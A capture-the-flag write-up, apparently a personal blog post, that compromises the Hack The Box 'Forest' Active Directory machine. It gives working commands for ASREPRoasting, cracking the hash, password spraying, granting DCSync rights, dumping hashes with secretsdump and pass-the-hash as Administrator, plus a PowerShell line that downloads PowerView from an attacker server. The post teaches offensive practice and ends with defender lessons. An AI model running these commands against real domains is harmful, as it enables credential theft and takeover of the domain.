Forest
2024-10-29
INTRODUCTION
Forest is 100% Active Directory. If you’re like me, a box with no webserver and only AD is a bit like staring at a blank wall - it’s hard to know where to start with enumeration. Forest is fantastic practice to break you out of that mindset, and help understand good methods for attacking AD environments.
Recon mostly consists of going through checklists of ways to enumerate active directory in an unauthenticated manner. It helps a lot to know a few good methods to try, and see how far that gets you. Forest was all about being methodical and knowing when you’ve found something useful. The only thing we really need to realize during recon is that Kerberos preauthentication is disabled.
Foothold (and, immediately, the user flag) are totally trivial if you found the right things during recon: what attack becomes possible once we know that Kerberos preauthentication is disabled on a certain account? That’s right - ASREPRoasting! Grab the hash for the vulnerable user and crack it for some credentials.
With credentials in-hand, we can log in (and grab the user flag) but we can also enumerate the AD environment much more effectively. Applying Bloodhound we can observe that there is a misconfiguration in the way that some groups are set up, eventually leading us to the ability to gain DCSync privileges, and dump the hashes on the host. From there, we can simply pass-the-hash to log in as Administrator.
Forest was very good practice. I’d highly recommend it to anyone that wants a relatively quick box for brushing up on Active Directory attacks 👍
RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49671/tcp open unknown
49676/tcp open unknown
49677/tcp open unknown
49684/tcp open unknown
49706/tcp open unknown
49961/tcp open unknown
No website - that’s interesting. Definitely an Active Directory box though.
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-25 08:52:37Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
49961/tcp open msrpc Microsoft Windows RPC
Host script results:
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2024-10-25T01:53:34-07:00
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 2h32m35s, deviation: 4h02m32s, median: 12m33s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-time:
| date: 2024-10-25T08:53:30
|_ start_date: 2024-10-25T05:45:58
I’ll fix the clock skew when I need to, using faketime
.
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No additional info from this scan.
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT STATE SERVICE VERSION
53/udp open domain Simple DNS Plus
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-25 08:56:36Z)
123/udp open ntp NTP v3
LDAP Enumeration - Unauthenticated
Domain details
ldapsearch -x -H "ldap://$RADDR" -s base namingcontexts
This just confirms what nmap already told us. Next let’s dump LDAP for all info, so we can parse through it using grep:
ldapsearch -x -H "ldap://$RADDR" -b "DC=htb,DC=local" | tee ldap-anonymous.out
We can get a feel for what object classes exist in the domain:
grep -i 'objectclass' ldap-anonymous.out | awk '{print $2}' | sort -u
User enumeration
Looking at the output of the previous command, we can note two interesting object classes: person
and user
. Let’s query for all user
objects:
ldapsearch -x -H "ldap://$RADDR" -b "DC=htb,DC=local" '(objectClass=user)' | tee ldap-anonymous-users.out
This contains service accounts, and other MS Exchange junk, so let’s filter it out:
grep -i 'samaccountname' ldap-anonymous-users.out \
| awk '{print $2}' | sort -u \
| grep -ivE '^HealthMailbox|^SM_|DefaultAccount|Guest|\$$|^\$' \
| tee users.lst
andy
lucinda
mark
santi
sebastien
👀 Looks like a perfectly normal list of users now.
Anonymous Authentication
Using crackmapexec
we can rapidly check for anonymous authentication on a few services:
for SVC in ftp rdp smb mssql ldap winrm ssh; do echo "Checking $SVC for anonymous authentication..."; crackmapexec $SVC $RADDR -u '' -p ''; done
Let’s try listing the directories for SMB
:
smbclient -L \\\\$RADDR --no-pass
Anonymous authentication was successful, but there are no directories.
FOOTHOLD
ASREPRoast
Another easy unauthenticated attack to check for is ASREPRoasting. We can easily check this using the GetNPUsers.py
utility from impacket-tools
It’s always good to check for other attacks we can perform anonymously. Active Directory has such a vast attack surface that we should check for vulnerabilities like this even if there’s nothing really prompting us to do so.
ASREPRoasting has two preconditions:
- We can communicate with the domain controller (yes,
htb.local
is the DC) - At least one user has Kerberos preauthentication disabled. This is exactly what
GetNPUsers.py
checks.
GetNPUsers.py -dc-ip $RADDR 'htb.local/'
☝️ Note the weird syntax. If you don’t state the
target
indomain/[user]
format, it will complain at you:[-] Domain should be specified!
Avoid this by adding a trailing slash to the domain (the
target
)
🤔 Huh, weird. That’s not one of the users we found earlier… checking back through my LDAP dump, this isn’t a user at all; it’s a service account, but it doesn’t have objectType
of user
.
We can add to this command a little to get the hash from the AS-REP
that Kerberos replies with (iirc, this contains a hashed copy of the credential, packaged together with a timestamp - basically acting as a nonce):
GetNPUsers.py -dc-ip $RADDR 'htb.local/' -request -format hashcat
And there it is! We’ve just obtained a hash for svc-alfresco@HTB.LOCAL
. I’ll copy-paste this into a new file called asrep.hash
.
It’s already in a format suitable for hashcat, but I’ll need to check exactly what hashcat mode to use…
hashcat --example-hashes | grep -i '$krb5asrep' -B 12 -A 8
Perfect - let’s try mode 18200 and just throw rockyou
at it:
WLIST=/usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep.hash $WLIST
After a few seconds, we’ve cracked the hash:
Excellent - we now have a full credential: svc-alfresco : s3rvice
. This opens up a lot of opportunities for enumeration for us.
Credential stuffing
We’ve obtained one credential, but maybe the password will work for other accounts too? Thankfully, this is really easy to check just by using crackmapexec
again.
I’ll and svc-alfresco
to the users.lst
file, and try all the “users” for each service, using the password s3rvice
for each attempt:
echo "svc-alfresco" >> users.lst
for SVC in ftp rdp smb mssql ldap winrm ssh; do
echo "Checking $SVC for valid creds...";
crackmapexec $SVC $RADDR -u users.lst -p 's3rvice';
done
👏 Although there was no credential re-use, we did find that svc-alfresco
has access to both SMB
and winrm
!
USER FLAG
SMB - authenticated
It’s tempting to just dive straight into WinRM
, but let’s check SMB
first:
smbclient -L \\\\$RADDR -U 'htb.local/svc-alfresco%s3rvice'
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Nothing out of the ordinary there.
WinRM
Thankfully, the credential for svc-alfresco
grants us a shell on the target, since they can access WinRM:
evil-winrm -i $RADDR -u svc-alfresco -p s3rvice
Unexpectedly, svc-alfresco
holds the user flag. type
it out for some points.
ROOT FLAG
Bloodhound
Since we have a valid user for AD, we should expedite our enumeration by using Bloodhound. I’ll use the python one. The syntax is really particular, so be careful here.
Also note that the domain controller must be resolvable by your
/etc/hosts
, so add it there:echo "$RADDR htb.local" | sudo tee -a /etc/hosts
bloodhound-python -ns $RADDR -d 'htb.local' -dc 'htb.local' -u 'svc-alfresco' -p 's3rvice' -c All
Initial attempts at this seem to work, but I was still getting an odd warning:
DCE/RPC connection failed: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
That’s odd. Let’s try fixing that. Normally I’d use faketime
for this, but it wasn’t working either.
sudo timedatectl set-ntp off # disable automatic time adjustments
sudo rdate -n $RADDR # Syncs our clock with the target's
bloodhound-python -ns $RADDR -d 'htb.local' -dc 'htb.local' -u 'svc-alfresco' -p 's3rvice' -c All
⭐ Perfect - no more warning! We now have a directory full of json files:
I’ll start up the backend for Bloodhound (neo4j), and Bloodhound itself:
For more details on setting up neo4j, check out this section of my walkthrough on Freelance.
neo4j
bloodhound
I accidentally left Bloodhound full of data from a previous box. To delete it, use the web interface at http://localhost:7474/browser/
then run this query:
MATCH (n) DETACH DELETE n
Now that the old data is deleted, “Upload” all the json files:
The files uploaded fine. Once everything was loaded, I marked svc-alfresco
as “owned” then used the query Shortes paths to Domain admins from owned principals:
The MemberOf
and Contains
relationships are implicit - we don’t need to do anything to utilize them. However, the other two will require some action:
👇 To get this info, I’m right-clicking on the relationship in the graph and choosing “Help”
CanPsRemote
:members of the group PRIVILEGED IT ACCOUNTS@HTB.LOCAL have the capability to create a PSRemote Connection with the computer FOREST.HTB.LOCAL
DCSync
:FOREST.HTB.LOCAL has the DS-Replication-Get-Changes and the DS-Replication-Get-Changes-All privilege on the domain HTB.LOCAL.
These two privileges allow a principal to perform a DCSync attack.
Excellent - that gives us a really good plan for privilege escalation!
PSRemote Connection
🚫 This didn’t lead anywhere. If you’re short on time, feel free to skip ahead to where I get back on track.
Let’s keep following along according to the Help > Abuse Info section from Bloodhound:
You may need to authenticate to the Domain Controller as a member of PRIVILEGED IT ACCOUNTS@HTB.LOCAL if you are not running a process as a member. To do this in conjunction with New-PSSession, first create a PSCredential object
As svc-alfresco
, we’ll make a new powershell session. First we will need to authenticate:
# Securely make the credential:
$SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('svc-alfresco', $SecPassword)
# Check that it was made properly:
$Cred.GetType() # it should show that it's of type PSCredential
# Authenticate using this credential:
$session = New-PSSession -ComputerName FOREST.HTB.LOCAL -Credential $Cred
# Check that you authenticated properly:
hostname
Very good; we’re now logged into the machinge forest.htb.local
. We can run commands explicitly through this session like this:
Invoke-Command -Session $session -ScriptBlock {Start-Process cmd}
Remember - when we’re done with this session, we should be sure to clean it up:
Disconnect-PSSession -Session $session
Remove-PSSession -Session $session
DCSync Attack
🚫 This didn’t lead anywhere. If you’re short on time, feel free to skip ahead to where I get back on track.
To perform the DCSync attack, we can simply use another one of the utilities from Impacket,secretsdump.py
:
secretsdump.py 'HTB.LOCAL/svc-alfresco:s3rvice@10.10.10.161'
secretsdump.py -dc-ip $RADDR 'svc-alfresco:s3rvice@10.10.10.161'
secretsdump.py -dc-ip $RADDR -target-ip $RADDR 'svc-alfresco:s3rvice'
Uh… I must be doing something wrong 🤔 Maybe the assumption about PSRemote connection was incorrect? Let’s go back to Bloodhound and consider other options.
Revising the Attack Path
In Bloodhound, we can consider other options than just the shortest path (i.e. the one we tried earlier: PSRemote + DCSync). This time, let’s select Shortest Paths to Domain Admins.
Take a look at the placement of the high-value targets - there is another notable path along the top, not the shortest path, but it still gets us to Administrator
. All we need to do is realize that we can get to Account Operators
from svc-alfresco
implicitly:
To see this, right click on Account Operators and select Shortest Paths to Here from Owned
This implicit connection opens up a whole new path for us:
Ultimately, this boils down to finding a way to get ourselves the WriteDacl
privilege that EXCHANGE WINDOWS PERMISSIONS
has.
GenericAll
Bloodhound describes GenericAll
as follows:
Info
ACCOUNT OPERATORS@HTB.LOCAL have GenericAll privileges to the group EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL.* *This is also known as full control. This privilege allows the trustee to manipulate the target object however they wish.
Windows Abuse
There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net group “Domain Admins” harmj0y /add /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Add-DomainGroupMember function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the AddMember privilege. Additionally, you have much safer execution options than you do with spawning net.exe
Now we make some fresh credentials:
For more details, check out the Powersploit documentation
$SecPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('jimbob', $SecPassword)
🤔 I first tried to make a fresh user the Powershell way, but for some reason it would not work:
New-ADUser -SamAccountName "jimbob" -UserPrincipalName "jimbob@htb.local" -Path "OU=Users,CN=htb,CN=local" -AccountPassword $SecPassword
So I resorted to doing it the old /
cmd
way.
net user jimbob Password123 /add
Now we can add jimbob
into the group Exchange Windows Permissions
, so that they implicitly have WriteDacl
privilege over HTB.LOCAL
:
Add-ADGroupMember 'Exchange Windows Permissions' -members 'jimbob'
This could also have been done using the
cmd
command:net group "Exchange Windows Permissions" /add jimbob
WriteDacl
Here’s what Bloodhound says about the WriteDacl relationship:
Info
The members of the group EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL have permissions to modify the DACL (Discretionary Access Control List) on the domain HTB.LOCAL With write access to the target object’s DACL, you can grant yourself any privilege you want on the object.
Linux abuse
To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. Impacket’s dacledit can be used for that purpose (cf. “grant rights” reference for the link).
dacledit.py -action 'DCSync' -rights 'FullControl' -principal 'controlledUser' -target-dn 'DomainDisinguishedName' 'domain'/'controlledUser':'password'
Note that there are many other ways to abuse WriteDacl for privilege escalation. Here’s a really good mind-map for visualizing attack paths for overly permissive AD environments, from www.thehacker.recipes:
In short, we’re using WriteDacl as a way to lead to DCSync, which in turn leads us to a way to dump the hashes (secretsdump.py
or mimikatz
).
impacket-dacledit
Let’s do as Bloodhound says, and use impacket-dacledit
to write DCSync privilege onto our custom user, jimbob
:
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'jimbob' -target-dn 'DC=HTB,DC=LOCAL' 'HTB.LOCAL'/'jimbob':'Password123'
Note that we just applied
FullControl
, which containsDCSync
. We could have specified onlyDCSync
if we wanted to.
That appears to have worked, but just to check, let’s use svc-alfresco
and PowerView and read the privileges that jimbob
has:
# Download Powerview from my attacker-controlled http server
(New-Object Net.WebClient).DownloadFile("http://10.10.14.17:8000/powerview.ps1", "C:\Users\svc-alfresco\Downloads\powerview.ps1")
# Load PowerView into memory
Import-Module "C:\Users\svc-alfresco\Downloads\powerview.ps1"
To check our work, we can use another PowerView cmdlet:
Get-ObjectACL -SamAccountName "jimbob" -ResolveGUIDs
Note that we could have also done this by using PowerView (or by using regular powershell):
# Create a credential object $SecPassword = ConvertTo-SecureString 'Password123'-AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('HTB.LOCAL\jimbob', $SecPassword) # Grant jimbob the DCSync privilege Add-DomainObjectAcl -TargetIdentity "dc=HTB,dc=LOCAL" -PrincipalIdentity 'HTB.LOCAL\jimbob' -Rights "DCSync" -Credential $Cred -Verbose
Under the Linux Abuse section for WriteDacl, Bloodhound describes how we can leverage DCSync:
DCSync
The AllExtendedRights privilege grants EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL both the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges, which combined allow a principal to replicate objects from the domain HTB.LOCAL.
This can be abused using Impacket’s secretsdump.py example script:
secretsdump 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'
In this way, once we have DCSync we can obtain hashes NTLM hashes for any user. We’ll follow Bloodhound’s instructions to do this:
secretsdump.py -outputfile 'secretsdump' 'HTB.LOCAL/jimbob:Password123@10.10.10.161'
This should produce three files, but what we need is inside secretsdump.ntds
:
NT_HASH=$(grep -i Administrator loot/secretsdump.ntds | cut -d ':' -f 4)
evil-winrm -i $RADDR -u Administrator -H $NT_HASH
And there’s the flag! 👏
That was tricky, but a great lesson in attacking Active Directory.
CLEANUP
Target
I’ll get rid of the spot where I place my tools, /tmp/.Tools
:
rm -rf /tmp/.Tools
Attacker
There’s also a little cleanup to do on my local / attacker machine. It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw
rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
I’ll also revert to my regular time settings:
sudo timedatectl set-ntp on
LESSONS LEARNED
Attacker
🐶 Use Bloodhound as soon as you have AD credentials. This wasn’t really a “lesson learned”, but it’s definitely worth repeating. Bloodhound will help you navigate the very complex AD attack surface.
💎 Use high-value-target nodes as waypoints in Bloodhound. Out-of-the box, the shortest path queries in Bloodhound might tempt you to ignore paths that are still totally viable, but not strictly the shortest path. My advice is to calculate shortest paths between high-value-targets, and compare the resulting paths to the “shortest” path - sometimes you’ll find a better or easier way! After all, the definition of “shortest” seems to consider implicit relationships/edges (like Member-of) with the same weight as edges that need exploitation.
Defender
👻 Null / anonymous authentication should be disabled. On this box, we were able to enumerate the domain a bit because
smb
allowed null authentication. This is really easy to avoid - but if a system is left in this state, it makes the attacker’s job much easier.🔒 Keep Kerberos preauthentication enabled. If you disable it, you’re opening up your systems to an ASREPRoasting attack.
🐣 Watch out for nested groups. The AD environment can get very complicated (and overly permissive) if you nest groups too deeply. Instead of using nested groups, consider using group policy objects (GPOs) attached to organizational units (OUs).
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake